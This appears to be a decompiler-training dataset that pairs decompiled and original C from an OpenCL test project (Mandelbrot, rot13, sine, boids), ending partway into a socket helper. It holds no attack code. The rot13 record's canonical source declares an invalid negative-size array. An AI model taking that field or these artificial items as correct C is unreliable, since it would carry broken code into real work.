mandelbrotVisTest

decompiled_code:
__int64 mandelbrotVisTest()
{
__int64 v0; // r12
const char *v1; // rax
void *v2; // rbp
__int64 v4[7]; // [rsp+0h] [rbp-38h] BYREF

fwrite("========= MANDELBROT VIS =========\n", 1uLL, 0x23uLL, stdout);
v0 = (unsigned int)init_mandelbrotvis();
v1 = (const char *)errorMessageCL(v0);
fprintf(stdout, "init errors = %s\n", v1);
v4[0] = LC7;
v4[1] = LC3;
v4[2] = LC4;
v4[3] = LC5;
v2 = malloc(0x4B000uLL);
mandelbrotvis(v2, v4);
free(v2);
return (unsigned int)v0;
}

canonical_decompiled_code:
__int64 func1()
{
__int64 v0; // r12
const char *v1; // rax
void *v2; // rbp
__int64 v4[7]; // [rsp+0h] [rbp-38h] BYREF

fwrite("========= MANDELBROT VIS =========\n", 1uLL, 0x23uLL, stdout);
v0 = (unsigned int)init_mandelbrotvis();
v1 = (const char *)errorMessageCL(v0);
fprintf(stdout, "init errors = %s\n", v1);
v4[0] = LC7;
v4[1] = LC3;
v4[2] = LC4;
v4[3] = LC5;
v2 = malloc(0x4B000uLL);
mandelbrotvis(v2, v4);
free(v2);
return (unsigned int)v0;
}

original_code:
int mandelbrotVisTest() {
  cl_int error = 0;
  fprintf (stdout, "========= MANDELBROT VIS =========\n");
  error = init_mandelbrotvis();
  fprintf (stdout, "init errors = %s\n", errorMessageCL(error));
  cl_fract job[4] = {0.5, 534.086426, -0.271229, 1.159260};
  cl_int *dataptr = (cl_int*)malloc(sizeof(cl_int)*240*320);
  mandelbrotvis(dataptr, &job[0]);
  free (dataptr);
  return error;
}

canonical_original_code:
int mandelbrotVisTest() {
  int error = 0;
  fprintf (stdout, "========= MANDELBROT VIS =========\n");
  error = init_mandelbrotvis();
  fprintf (stdout, "init errors = %s\n", errorMessageCL(error));
  double job[4] = {0.5, 534.086426, -0.271229, 1.159260};
  int *dataptr = (cl_int*)malloc(sizeof(cl_int)*240*320);
  mandelbrotvis(dataptr, &job[0]);
  free (dataptr);
  return error;
}

variable_types:
dataptr
int *


occoidsTest

repo: arfoll/occcl

decompiled_code:
__int64 occoidsTest()
{
fwrite("========= OCCOIDS TEST =========\n", 1uLL, 0x21uLL, stdout);
return 0LL;
}

canonical_decompiled_code:
__int64 func2()
{
fwrite("========= OCCOIDS TEST =========\n", 1uLL, 0x21uLL, stdout);
return 0LL;
}

original_code:
int occoidsTest() {
  cl_int error = 0;
  fprintf (stdout, "========= OCCOIDS TEST =========\n");
  return error;
}

canonical_original_code:
int occoidsTest() {
  int error = 0;
  fprintf (stdout, "========= OCCOIDS TEST =========\n");
  return error;
}

variable_types: error int

return_type: int


moduloTest

decompiled_code:
__int64 moduloTest()
{
int v0; // ebx
int v1; // ebp
float v2; // xmm0_4
int v4; // [rsp+4h] [rbp-24h] BYREF
float v5; // [rsp+8h] [rbp-20h] BYREF
float v6[7]; // [rsp+Ch] [rbp-1Ch] BYREF

fwrite("========= MODULO PRECISION TEST =========\n", 1uLL, 0x2AuLL, stdout);
v4 = -30;
v0 = init_modulo();
v5 = 0.123145;
v6[0] = 0.0;
v1 = modulo(&v4, v6, &v5);
fprintf(stdout, "CL exceution = %f\n", v6[0]);
v2 = (double)(v4 - 50) / (v5 + v5);
fprintf(stdout, "C execution = %f\n", (float)(v2 * (float)(v2 * v2)));
return (unsigned int)(v0 + v1);
}

canonical_decompiled_code:
__int64 func3()
{
int v0; // ebx
int v1; // ebp
float v2; // xmm0_4
int v4; // [rsp+4h] [rbp-24h] BYREF
float v5; // [rsp+8h] [rbp-20h] BYREF
float v6[7]; // [rsp+Ch] [rbp-1Ch] BYREF

fwrite("========= MODULO PRECISION TEST =========\n", 1uLL, 0x2AuLL, stdout);
v4 = -30;
v0 = init_modulo();
v5 = 0.123145;
v6[0] = 0.0;
v1 = modulo(&v4, v6, &v5);
fprintf(stdout, "CL exceution = %f\n", v6[0]);
v2 = (double)(v4 - 50) / (v5 + v5);
fprintf(stdout, "C execution = %f\n", (float)(v2 * (float)(v2 * v2)));
return (unsigned int)(v0 + v1);
}

original_code:
int moduloTest() {
  cl_int error = 0;
  fprintf (stdout, "========= MODULO PRECISION TEST =========\n");
  error = init_modulo();
  cl_int num = -30;
  cl_float amount = 0.123145;
  cl_float mod = 0;
  error += modulo(&num, &mod, &amount);
  fprintf (stdout, "CL exceution = %f\n", mod);
  cl_float res = (num - 50) / (amount * 2.0);
  res = (res * res) * res;
  fprintf (stdout, "C  execution = %f\n", res);
  return error;
}

canonical_original_code:
int moduloTest() {
  int error = 0;
  fprintf (stdout, "========= MODULO PRECISION TEST =========\n");
  error = init_modulo();
  int num = -30;
  float amount = 0.123145;
  float mod = 0;
  error += modulo(&num, &mod, &amount);
  fprintf (stdout, "CL exceution = %f\n", mod);
  float res = (num - 50) / (amount * 2.0);
  res = (res * res) * res;
  fprintf (stdout, "C  execution = %f\n", res);
  return error;
}

variable_types: num int

variable_types: amount float

variable_types: mod float

variable_types: res float


sinTest

decompiled_code:
__int64 sinTest()
{
float *v0; // rbp
__int64 i; // rax
unsigned int v2; // er12
const char *v3; // rax
unsigned int v4; // er12
const char *v5; // rax

fwrite("========= SIN =========\n", 1uLL, 0x18uLL, stdout);
v0 = (float *)malloc(0xA000uLL);
for ( i = 0LL; i != 10240; ++i )
v0[i] = (float)(int)i;
v2 = init_sin();
v3 = (const char *)errorMessageCL(v2);
fprintf(stdout, "init errors = %s\n", v3);
v4 = clsin(v0) + v2;
v5 = (const char *)errorMessageCL(v4);
fprintf(stdout, "clsin errors = %s\n", v5);
free(v0);
return v4;
}

canonical_decompiled_code:
__int64 func4()
{
float *v0; // rbp
__int64 i; // rax
unsigned int v2; // er12
const char *v3; // rax
unsigned int v4; // er12
const char *v5; // rax

fwrite("========= SIN =========\n", 1uLL, 0x18uLL, stdout);
v0 = (float *)malloc(0xA000uLL);
for ( i = 0LL; i != 10240; ++i )
v0[i] = (float)(int)i;
v2 = init_sin();
v3 = (const char *)errorMessageCL(v2);
fprintf(stdout, "init errors = %s\n", v3);
v4 = clsin(v0) + v2;
v5 = (const char *)errorMessageCL(v4);
fprintf(stdout, "clsin errors = %s\n", v5);
free(v0);
return v4;
}

original_code:
int sinTest() {
  cl_int error = 0;
  int i;
  fprintf (stdout, "========= SIN =========\n");
  cl_float *data;
  data = (cl_float*)malloc(sizeof(cl_float)*10240);
  for (i=0; i<10240; i++) {
    data[i] = i;
  }
  error = init_sin();
  fprintf (stdout, "init errors = %s\n", errorMessageCL(error));
  error += clsin(data);
  fprintf (stdout, "clsin errors = %s\n", errorMessageCL(error));
  free (data);
  return error;
}

canonical_original_code:
int sinTest() {
  int error = 0;
  int i;
  fprintf (stdout, "========= SIN =========\n");
  float *data;
  data = (float *)malloc(sizeof(cl_float)*10240);
  for (i=0; i<10240; i++) {
    data[i] = i;
  }
  error = init_sin();
  fprintf (stdout, "init errors = %s\n", errorMessageCL(error));
  error += clsin(data);
  fprintf (stdout, "clsin errors = %s\n", errorMessageCL(error));
  free (data);
  return error;
}

variable_types: i int

variable_types:
data
float *


decompiled_code:
__int64 rot13Test()
{
unsigned int v0; // er12
const char *v1; // rax
unsigned int v2; // er12
char v4[36]; // [rsp+4h] [rbp-24h] BYREF

fwrite("========= ROT13 =========\n", 1uLL, 0x1AuLL, stdout);
v0 = init_rot13();
v1 = (const char *)errorMessageCL(v0);
fprintf(stdout, "init errors = %s\n", v1);
strcpy(v4, "Hello, World!");
v2 = rot13(v4, &v4[14]) + v0;
fprintf(stdout, "rot13 errors = %d, ciphertext = %s\n", v2, &v4[14]);
return v2;
}

canonical_decompiled_code:
__int64 func5()
{
unsigned int v0; // er12
const char *v1; // rax
unsigned int v2; // er12
char v4[36]; // [rsp+4h] [rbp-24h] BYREF

fwrite("========= ROT13 =========\n", 1uLL, 0x1AuLL, stdout);
v0 = init_rot13();
v1 = (const char *)errorMessageCL(v0);
fprintf(stdout, "init errors = %s\n", v1);
strcpy(v4, "Hello, World!");
v2 = rot13(v4, &v4[14]) + v0;
fprintf(stdout, "rot13 errors = %d, ciphertext = %s\n", v2, &v4[14]);
return v2;
}

original_code:
int rot13Test() {
  cl_int error = 0;
  fprintf (stdout, "========= ROT13 =========\n");
  error = init_rot13();
  fprintf (stdout, "init errors = %s\n", errorMessageCL(error));
  char plaintext[]="Hello, World!";
  char ciphertext[sizeof plaintext];
  error += rot13(plaintext, ciphertext);
  fprintf (stdout, "rot13 errors = %d, ciphertext = %s\n", error, ciphertext);
  return error;
}

canonical_original_code:
int rot13Test() {
  int error = 0;
  fprintf (stdout, "========= ROT13 =========\n");
  error = init_rot13();
  fprintf (stdout, "init errors = %s\n", errorMessageCL(error));
  char plaintext[] = "Hello, World!";
  char ciphertext[-1];
  error += rot13(plaintext, ciphertext);
  fprintf (stdout, "rot13 errors = %d, ciphertext = %s\n", error, ciphertext);
  return error;
}

variable_types:
plaintext
char []

variable_types:
ciphertext
char [-1]


decompiled_code:
__int64 init_sin()
{
__int64 result; // rax
unsigned int v1; // [rsp+0h] [rbp-1Ch] BYREF
__int64 v2; // [rsp+4h] [rbp-18h] BYREF
const char *v3; // [rsp+Ch] [rbp-10h] BYREF

result = 1LL;
if ( !sin_init )
{
context = get_cl_context();
get_cl_device();
v2 = 289LL;
v3 = " __kernel void sin_cl (global float *data) { "
" int id = get_global_id(0); data[id] = sin(data[id]); "
" } ";
v1 = buildcl(&v3, &v2, &prog, &unk_1BC, 1LL);
k_sin = clCreateKernel(prog, "sin_cl", &v1);
cq = get_command_queue();
result = v1;
if ( !v1 )
sin_init = 1;
}
return result;
}

canonical_decompiled_code:
__int64 func1()
{
__int64 result; // rax
unsigned int v1; // [rsp+0h] [rbp-1Ch] BYREF
__int64 v2; // [rsp+4h] [rbp-18h] BYREF
const char *v3; // [rsp+Ch] [rbp-10h] BYREF

result = 1LL;
if ( !sin_init )
{
context = get_cl_context();
get_cl_device();
v2 = 289LL;
v3 = " __kernel void sin_cl (global float *data) { "
" int id = get_global_id(0); data[id] = sin(data[id]); "
" } ";
v1 = buildcl(&v3, &v2, &prog, &unk_1BC, 1LL);
k_sin = clCreateKernel(prog, "sin_cl", &v1);
cq = get_command_queue();
result = v1;
if ( !v1 )
sin_init = 1;
}
return result;
}

original_code:
int init_sin ()
{
  cl_int error;
  if (sin_init)
    return 1;
  context = get_cl_context();
  device = get_cl_device();
  const char *src=sin_cl;
  size_t srcsize=strlen(sin_cl);
  const char *srcptr[]={src};
  error = buildcl (srcptr, &srcsize, &prog, "", 1);
  k_sin = clCreateKernel(prog, "sin_cl", &error);
  cq = get_command_queue();
  if (!error)
    sin_init = 1;
  return error;
}

canonical_original_code:
int init_sin()
{
  int error;
  if (sin_init)
    return 1;
  context = get_cl_context();
  device = get_cl_device();
  char *src = sin_cl;
  unsigned long srcsize = strlen(sin_cl);
  char *srcptr[] = {src};
  error = buildcl (srcptr, &srcsize, &prog, "", 1);
  k_sin = clCreateKernel(prog, "sin_cl", &error);
  cq = get_command_queue();
  if (!error)
    sin_init = 1;
  return error;
}

variable_types:
src
char *

variable_types:
srcsize
unsigned long

variable_types:
srcptr
char *[]


original_code:
void mandelbrot_c (cl_char (*data)[200], cl_fract *job)
{
  int j, i;
  for (j = 0; j < 50; j++) {
    job[0] = (cl_fract) j - (50/2);
    cl_fract y = job[0]/job[1] - job[2];
    for (i = 0; i < 100; i++) {
      cl_fract real = ((i - 50) / (job[1] * 2.0)) - job[3];
      cl_fract imag = y;
      cl_fract iter_real = 0.0;
      cl_fract iter_imag = 0.0;
      int count = 0;
      while ((((iter_real*iter_real)+(iter_imag*iter_imag)) < 32.0) && (count < visheight)) {
        cl_fract iter_real2 = iter_real;
        cl_fract iter_imag2 = iter_imag;
        cl_fract iter_r;
        cl_fract iter_i;
        iter_r = (iter_real*iter_real2) - (iter_imag*iter_imag2);
        iter_i = (iter_imag*iter_real2) + (iter_real*iter_imag2);
        iter_real = real + iter_r;
        iter_imag = imag + iter_i;
        count++;
      }
      int val = count % 16;
      data[j][i*2] = (char) (val % 6);
      data[j][(i*2)+1] = table_int[val];
    }
  }
}

canonical_original_code:
void mandelbrot_c(char (*data)[200], double *job)
{
  int j; int i;
  for (j = 0; j < 50; j++) {
    job[0] = (double) j - (50/2);
    double y = job[0]/job[1] - job[2];
    for (i = 0; i < 100; i++) {
      double real = ((i - 50) / (job[1] * 2.0)) - job[3];
      double imag = y;
      double iter_real = 0.0;
      double iter_imag = 0.0;
      int count = 0;
      while ((((iter_real*iter_real)+(iter_imag*iter_imag)) < 32.0) && (count < visheight)) {
        double iter_real2 = iter_real;
        double iter_imag2 = iter_imag;
        double iter_r;
        double iter_i;
        iter_r = (iter_real*iter_real2) - (iter_imag*iter_imag2);
        iter_i = (iter_imag*iter_real2) + (iter_real*iter_imag2);
        iter_real = real + iter_r;
        iter_imag = imag + iter_i;
        count++;
      }
      int val = count % 16;
      data[j][i*2] = (char) (val % 6);
      data[j][(i*2)+1] = table_int[val];
    }
  }
}

variable_types:
data
char (*)[200]

variable_types:
job
double *

variable_types: j int

variable_types: y double

variable_types: real double

variable_types: imag double

variable_types: count int

variable_types: val int

return_type: void


initialiseJobs

decompiled_code:
double __fastcall initialiseJobs(double result)
{
double v1; // xmm1_8
double *v2; // rax
double *v3; // rdx
double v4; // xmm2_8

if ( iterations > 0 )
{
result = 0.0;
v1 = *(double *)&LC11;
v2 = (double *)&jobs;
v3 = (double *)((char *)&jobs + 24 * (unsigned int)(iterations - 1) + 24);
v4 = 0.0;
do
{
*v2 = v1;
v2 += 3;
*(v2 - 1) = v4;
*(v2 - 2) = result;
v1 = v1 + v1 * 0.03125;
v4 = v4 + (1.16000014859 - v4) * 0.0625;
result = result + (-0.27140215302 - result) * 0.0625;
}
while ( v2 != v3 );
}
return result;
}

canonical_decompiled_code:
double __fastcall func5(double result)
{
double v1; // xmm1_8
double *v2; // rax
double *v3; // rdx
double v4; // xmm2_8

if ( iterations > 0 )
{
result = 0.0;
v1 = *(double *)&LC11;
v2 = (double *)&jobs;
v3 = (double *)((char *)&jobs + 24 * (unsigned int)(iterations - 1) + 24);
v4 = 0.0;
do
{
*v2 = v1;
v2 += 3;
*(v2 - 1) = v4;
*(v2 - 2) = result;
v1 = v1 + v1 * 0.03125;
v4 = v4 + (1.16000014859 - v4) * 0.0625;
result = result + (-0.27140215302 - result) * 0.0625;
}
while ( v2 != v3 );
}
return result;
}

original_code:
void initialiseJobs()
{
  int i, index;
  cl_fract zoom = 16.0;
  cl_fract xdrift = 0.0;
  cl_fract ydrift = 0.0;
  cl_fract diffx;
  cl_fract diffy;
  cl_fract xtarget = 1.16000014859;
  cl_fract ytarget = -0.27140215302;
  for (i = 0; i < iterations; i++) {
    index = i*3;
    jobs[index] = zoom;
    jobs[index+1] = ydrift;
    jobs[index+2] = xdrift;
    zoom = zoom + (zoom / 32.0);
    diffx = xtarget - xdrift;
    diffy = ytarget - ydrift;
    xdrift = xdrift + (diffx / 16.0);
    ydrift = ydrift + (diffy / 16.0);
  }
}

canonical_original_code:
void initialiseJobs()
{
  int i; int index;
  double zoom = 16.0;
  double xdrift = 0.0;
  double ydrift = 0.0;
  double diffx;
  double diffy;
  double xtarget = 1.16000014859;
  double ytarget = -0.27140215302;
  for (i = 0; i < iterations; i++) {
    index = i*3;
    jobs[index] = zoom;
    jobs[index+1] = ydrift;
    jobs[index+2] = xdrift;
    zoom = zoom + (zoom / 32.0);
    diffx = xtarget - xdrift;
    diffy = ytarget - ydrift;
    xdrift = xdrift + (diffx / 16.0);
    ydrift = ydrift + (diffy / 16.0);
  }
}

variable_types: index int

variable_types: zoom double

variable_types: xdrift double

variable_types: ydrift double

variable_types: diffx double

variable_types: diffy double

variable_types: xtarget double

variable_types: ytarget double


decompiled_code:
__int64 init_modulo()
{
__int64 result; // rax
unsigned int v1; // [rsp+0h] [rbp-1Ch] BYREF
__int64 v2; // [rsp+4h] [rbp-18h] BYREF
const char *v3; // [rsp+Ch] [rbp-10h] BYREF

result = 1LL;
if ( !modulo_init )
{
context = get_cl_context();
get_cl_device();
v2 = 222LL;
v3 = " #pragma OPENCL EXTENSION cl_khr_fp64 : enable \n"
"__kernel void modulo (__global int *num, __global float *mod, __global float *amount) \n"
"{ \n"
" (*mod) = ((*num)-50) / (*amount * 2.0); \n"
" (*mod) = ((*mod) * (*mod)) * (*mod); \n"
"}";
v1 = buildcl(&v3, &v2, &prog, &unk_2AC, 1LL);
k_modulo = clCreateKernel(prog, "modulo", &v1);
cq = get_command_queue();
result = v1;
if ( !v1 )
modulo_init = 1;
}
return result;
}

canonical_decompiled_code:
__int64 func1()
{
__int64 result; // rax
unsigned int v1; // [rsp+0h] [rbp-1Ch] BYREF
__int64 v2; // [rsp+4h] [rbp-18h] BYREF
const char *v3; // [rsp+Ch] [rbp-10h] BYREF

result = 1LL;
if ( !modulo_init )
{
context = get_cl_context();
get_cl_device();
v2 = 222LL;
v3 = " #pragma OPENCL EXTENSION cl_khr_fp64 : enable \n"
"__kernel void modulo (__global int *num, __global float *mod, __global float *amount) \n"
"{ \n"
" (*mod) = ((*num)-50) / (*amount * 2.0); \n"
" (*mod) = ((*mod) * (*mod)) * (*mod); \n"
"}";
v1 = buildcl(&v3, &v2, &prog, &unk_2AC, 1LL);
k_modulo = clCreateKernel(prog, "modulo", &v1);
cq = get_command_queue();
result = v1;
if ( !v1 )
modulo_init = 1;
}
return result;
}

original_code:
int init_modulo()
{
  cl_int error;
  if (modulo_init)
    return 1;
  context = get_cl_context();
  device = get_cl_device();
  const char *src=modulo_cl;
  size_t srcsize=strlen(modulo_cl);
  const char *srcptr[]={src};
  error = buildcl (srcptr, &srcsize, &prog, "", 1);
  k_modulo = clCreateKernel(prog, "modulo", &error);
  cq = get_command_queue();
  if (!error)
    modulo_init = 1;
  return error;
}

canonical_original_code:
int init_modulo()
{
  int error;
  if (modulo_init)
    return 1;
  context = get_cl_context();
  device = get_cl_device();
  char *src = modulo_cl;
  unsigned long srcsize = strlen(modulo_cl);
  char *srcptr[] = {src};
  error = buildcl (srcptr, &srcsize, &prog, "", 1);
  k_modulo = clCreateKernel(prog, "modulo", &error);
  cq = get_command_queue();
  if (!error)
    modulo_init = 1;
  return error;
}

variable_types: error int

variable_types:
src
char *

variable_types:
srcsize
unsigned long

variable_types:
srcptr
char *[]


decompiled_code:
float __fastcall magnitute2(float *a1)
{
return (float)(*a1 * *a1) + (float)(a1[1] * a1[1]);
}

canonical_decompiled_code:
float __fastcall func0(float *a1)
{
return (float)(*a1 * *a1) + (float)(a1[1] * a1[1]);
}

original_code:
cl_float magnitute2 (vector *ve)
{
  return (ve->x * ve->x) + (ve->y * ve->y);
}

canonical_original_code:
float magnitute2(struct vector *ve)
{
  return (ve->x * ve->x) + (ve->y * ve->y);
}

variable_types:
ve
struct vector { float x; float y; } *

return_type: float


original_code:
int occoids_c (agentinfo *ai, vector *velocity, cl_int size)
{
  int i;
  agentinfo *infos;
  vector accel;
  accel.x = 0.0;
  accel.y = 0.0;
  infos = ai;
  int count = 0;
  vector com;
  com.x = 0.0;
  com.y = 0.0;
  for (i=0; i<size; i++) {
    com.x = com.x + infos->position.x;
    com.y = com.y + infos->position.y;
    count++;
    infos++;
  }
  if (count > 0) {
    com.x = com.x / count;
    com.y = com.y / count;
  }
  com.x = com.x / 45.0f;
  com.y = com.y / 45.0f;
  accel.x = com.x + accel.x;
  accel.y = com.y + accel.y;
  infos = ai;
  vector push;
  push.x = 0.0;
  push.y = 0.0;
  for (i=0; i<size; i++) {
    if (infos->type == 1) {
      if (magnitute2(&infos->position) < (0.06f * 0.06f)) {
        push.x = push.x - infos->position.x;
        push.y = push.y - infos->position.y;
      }
    }
    infos++;
  }
  push.x = push.x / 4.0f;
  push.y = push.y / 4.0f;
  accel.x = push.x + accel.x;
  accel.y = push.y + accel.y;
  infos = ai;
  count = 0;
  vector pvel;
  pvel.x = 0.0;
  pvel.y = 0.0;
  for (i=0; i<size; i++) {
    pvel.x = pvel.x + infos->velocity.x;
    pvel.y = pvel.y + infos->velocity.y;
    count++;
    infos++;
  }
  if (count > 0) {
    pvel.x = pvel.x / count;
    pvel.y = pvel.y / count;
  }
  pvel.x = pvel.x - velocity->x;
  pvel.y = pvel.y - velocity->y;
  pvel.x = pvel.x / 8.0f;
  pvel.y = pvel.y / 8.0f;
  accel.x = pvel.x + accel.x;
  accel.y = pvel.y + accel.y;
  push.x = 0.0;
  push.y = 0.0;
  infos = ai;
  for (i=0; i<size; i++) {
    if (infos->type == 2) {
      cl_float dist = sqrt (magnitute2(&infos->position)) - infos->radius;
      if (dist < 0.0) {
        push.x = push.x - infos->position.x;
        push.y = push.y - infos->position.y;
      }
      else if (dist < 0.05f) {
        dist = 1.0 - (dist / 0.05f);
        infos->position.x = infos->position.x * dist;
        infos->position.y = infos->position.y * dist;
        push.x = push.x - infos->position.x;
        push.y = push.y - infos->position.y;
      }
    }
    infos++;
  }
  push.x = push.x / 8.0f;
  push.y = push.y / 8.0f;
  accel.x = push.x + accel.x;
  accel.y = push.y + accel.y;
  velocity->x = velocity->x + (accel.x / 5.0f);
  velocity->y = velocity->y + (accel.y / 5.0f);
  if (abs(velocity->x) < 0.00000) {
    velocity->x = 0.0;
  }
  if (abs(velocity->y) < 0.00000) {
    velocity->y = 0.0;
  }
  cl_float mag = magnitute2 (velocity);
  if (mag > (0.03f * 0.03f)) {
    cl_float div = mag/(0.03f * 0.03f);
    velocity->x = velocity->x / div;
    velocity->y = velocity->y / div;
  }
  return 0;
}

canonical_original_code:
int occoids_c(struct agentinfo *ai, struct vector *velocity, int size)
{
  int i;
  struct agentinfo *infos;
  struct vector accel;
  accel.x = 0.0;
  accel.y = 0.0;
  infos = ai;
  int count = 0;
  struct vector com;
  com.x = 0.0;
  com.y = 0.0;
  for (i=0; i<size; i++) {
    com.x = com.x + infos->position.x;
    com.y = com.y + infos->position.y;
    count++;
    infos++;
  }
  if (count > 0) {
    com.x = com.x / count;
    com.y = com.y / count;
  }
  com.x = com.x / 45.0f;
  com.y = com.y / 45.0f;
  accel.x = com.x + accel.x;
  accel.y = com.y + accel.y;
  infos = ai;
  struct vector push;
  push.x = 0.0;
  push.y = 0.0;
  for (i=0; i<size; i++) {
    if (infos->type == 1) {
      if (magnitute2(&infos->position) < (0.06f * 0.06f)) {
        push.x = push.x - infos->position.x;
        push.y = push.y - infos->position.y;
      }
    }
    infos++;
  }
  push.x = push.x / 4.0f;
  push.y = push.y / 4.0f;
  accel.x = push.x + accel.x;
  accel.y = push.y + accel.y;
  infos = ai;
  count = 0;
  struct vector pvel;
  pvel.x = 0.0;
  pvel.y = 0.0;
  for (i=0; i<size; i++) {
    pvel.x = pvel.x + infos->velocity.x;
    pvel.y = pvel.y + infos->velocity.y;
    count++;
    infos++;
  }
  if (count > 0) {
    pvel.x = pvel.x / count;
    pvel.y = pvel.y / count;
  }
  pvel.x = pvel.x - velocity->x;
  pvel.y = pvel.y - velocity->y;
  pvel.x = pvel.x / 8.0f;
  pvel.y = pvel.y / 8.0f;
  accel.x = pvel.x + accel.x;
  accel.y = pvel.y + accel.y;
  push.x = 0.0;
  push.y = 0.0;
  infos = ai;
  for (i=0; i<size; i++) {
    if (infos->type == 2) {
      float dist = sqrt (magnitute2(&infos->position)) - infos->radius;
      if (dist < 0.0) {
        push.x = push.x - infos->position.x;
        push.y = push.y - infos->position.y;
      }
      else if (dist < 0.05f) {
        dist = 1.0 - (dist / 0.05f);
        infos->position.x = infos->position.x * dist;
        infos->position.y = infos->position.y * dist;
        push.x = push.x - infos->position.x;
        push.y = push.y - infos->position.y;
      }
    }
    infos++;
  }
  push.x = push.x / 8.0f;
  push.y = push.y / 8.0f;
  accel.x = push.x + accel.x;
  accel.y = push.y + accel.y;
  velocity->x = velocity->x + (accel.x / 5.0f);
  velocity->y = velocity->y + (accel.y / 5.0f);
  if (abs(velocity->x) < 0.00000) {
    velocity->x = 0.0;
  }
  if (abs(velocity->y) < 0.00000) {
    velocity->y = 0.0;
  }
  float mag = magnitute2 (velocity);
  if (mag > (0.03f * 0.03f)) {
    float div = mag/(0.03f * 0.03f);
    velocity->x = velocity->x / div;
    velocity->y = velocity->y / div;
  }
  return 0;
}

variable_types: struct agentinfo { int localid; int type; struct vector { float x; float y; } position; struct vector velocity; float radius; int colour; } *

variable_types:
velocity
struct vector *

variable_types: size int

variable_types: i int

variable_types:
accel
struct vector { float x; float y; }

variable_types:
com
struct vector { float x; float y; }

variable_types:
push
struct vector { float x; float y; }

variable_types:
pvel
struct vector { float x; float y; }

variable_types: dist float

variable_types: mag float

variable_types: div float

user_defined_types: struct agentinfo { int localid; int type; struct vector position; struct vector velocity; float radius; int colour; }


decompiled_code:
__int64 print_occoids_kernel_info()
{
__int64 result; // rax
__int64 v1; // [rsp-8h] [rbp-18h] BYREF
char v2[16]; // [rsp+0h] [rbp-10h] BYREF

result = (unsigned int)occoids_init;
if ( occoids_init )
{
clGetKernelWorkGroupInfo(k_occoids, *(_QWORD *)device, 4528LL, 8LL, &v1, 0LL);
result = clGetKernelWorkGroupInfo(k_occoids, *(_QWORD *)device, 4530LL, 8LL, v2, 0LL);
}
return result;
}

canonical_decompiled_code:
__int64 func3()
{
__int64 result; // rax
__int64 v1; // [rsp-8h] [rbp-18h] BYREF
char v2[16]; // [rsp+0h] [rbp-10h] BYREF

result = (unsigned int)occoids_init;
if ( occoids_init )
{
clGetKernelWorkGroupInfo(k_occoids, *(_QWORD *)device, 4528LL, 8LL, &v1, 0LL);
result = clGetKernelWorkGroupInfo(k_occoids, *(_QWORD *)device, 4530LL, 8LL, v2, 0LL);
}
return result;
}

original_code:
cl_int print_occoids_kernel_info ()
{
  cl_int error = 0;
  if (occoids_init) {
    size_t grp_size;
    error = clGetKernelWorkGroupInfo(k_occoids, *device, 0x11B0, sizeof(size_t), &grp_size, ((void *)0));
    cl_ulong local_mem_size;
    error = clGetKernelWorkGroupInfo(k_occoids, *device, 0x11B2, sizeof(cl_ulong), &local_mem_size, ((void *)0));
  }
  return error;
}

canonical_original_code:
int print_occoids_kernel_info()
{
  int error = 0;
  if (occoids_init) {
    unsigned long grp_size;
    error = clGetKernelWorkGroupInfo(k_occoids, *device, 0x11B0, sizeof(unsigned long), &grp_size, ((void *)0));
    unsigned long local_mem_size;
    error = clGetKernelWorkGroupInfo(k_occoids, *device, 0x11B2, sizeof(cl_ulong), &local_mem_size, ((void *)0));
  }
  return error;
}


decompiled_code:
__int64 init_rot13()
{
__int64 result; // rax
unsigned int v1; // [rsp+0h] [rbp-1Ch] BYREF
__int64 v2; // [rsp+4h] [rbp-18h] BYREF
const char *v3; // [rsp+Ch] [rbp-10h] BYREF

result = 1LL;
if ( !rot13_init )
{
context = get_cl_context();
get_cl_device();
v2 = 442LL;
v3 = "#pragma OPENCL EXTENSION cl_khr_byte_addressable_store : enable \n"
" __kernel void rot13 (__global const char* in, __global char* out ) \n"
"{ \n"
" const uint index = get_global_id(0); \n"
" char c=in[index]; \n"
" if (c<'A' || c>'z' || (c>'Z' && c<'a')) { \n"
" out[index] = in[index]; \n"
" } else { \n"
" if (c>'m' || (c>'M' && c<'a')) { \n"
" out[index] = in[index]-13; \n"
" } else { \n"
" out[index] = in[index]+13; \n"
" } \n"
" } \n"
"}";
v1 = buildcl(&v3, &v2, &prog, &unk_21C, 1LL);
k_rot13 = clCreateKernel(prog, "rot13", &v1);
cq = get_command_queue();
result = v1;
if ( !v1 )
rot13_init = 1;
}
return result;
}

canonical_decompiled_code:
__int64 func1()
{
__int64 result; // rax
unsigned int v1; // [rsp+0h] [rbp-1Ch] BYREF
__int64 v2; // [rsp+4h] [rbp-18h] BYREF
const char *v3; // [rsp+Ch] [rbp-10h] BYREF

result = 1LL;
if ( !rot13_init )
{
context = get_cl_context();
get_cl_device();
v2 = 442LL;
v3 = "#pragma OPENCL EXTENSION cl_khr_byte_addressable_store : enable \n"
" __kernel void rot13 (__global const char* in, __global char* out ) \n"
"{ \n"
" const uint index = get_global_id(0); \n"
" char c=in[index]; \n"
" if (c<'A' || c>'z' || (c>'Z' && c<'a')) { \n"
" out[index] = in[index]; \n"
" } else { \n"
" if (c>'m' || (c>'M' && c<'a')) { \n"
" out[index] = in[index]-13; \n"
" } else { \n"
" out[index] = in[index]+13; \n"
" } \n"
" } \n"
"}";
v1 = buildcl(&v3, &v2, &prog, &unk_21C, 1LL);
k_rot13 = clCreateKernel(prog, "rot13", &v1);
cq = get_command_queue();
result = v1;
if ( !v1 )
rot13_init = 1;
}
return result;
}

original_code:
int init_rot13 ()
{
  cl_int error;
  if (rot13_init)
    return 1;
  context = get_cl_context();
  device = get_cl_device();
  const char *src=rot13_cl;
  size_t srcsize=strlen(rot13_cl);
  const char *srcptr[]={src};
  error = buildcl (srcptr, &srcsize, &prog, "", 1);
  k_rot13 = clCreateKernel(prog, "rot13", &error);
  cq = get_command_queue();
  if (!error)
    rot13_init = 1;
  return error;
}

canonical_original_code:
int init_rot13()
{
  int error;
  if (rot13_init)
    return 1;
  context = get_cl_context();
  device = get_cl_device();
  char *src = rot13_cl;
  unsigned long srcsize = strlen(rot13_cl);
  char *srcptr[] = {src};
  error = buildcl (srcptr, &srcsize, &prog, "", 1);
  k_rot13 = clCreateKernel(prog, "rot13", &error);
  cq = get_command_queue();
  if (!error)
    rot13_init = 1;
  return error;
}


repo: arisada/pasvmim

decompiled_code:
__int64 __fastcall get_socket(const char *a1)
{
struct hostent *v1; // rax
struct hostent *v2; // rbx
size_t v3; // rdx
const void **v4; // rax
__int64 result; // rax

v1 = gethostbyname(a1);
if ( v1 )
{
v2 = v1;
v3 = v1->h_length;
v4 = (const void **)v1->h_addr_list;
sa = 0LL;
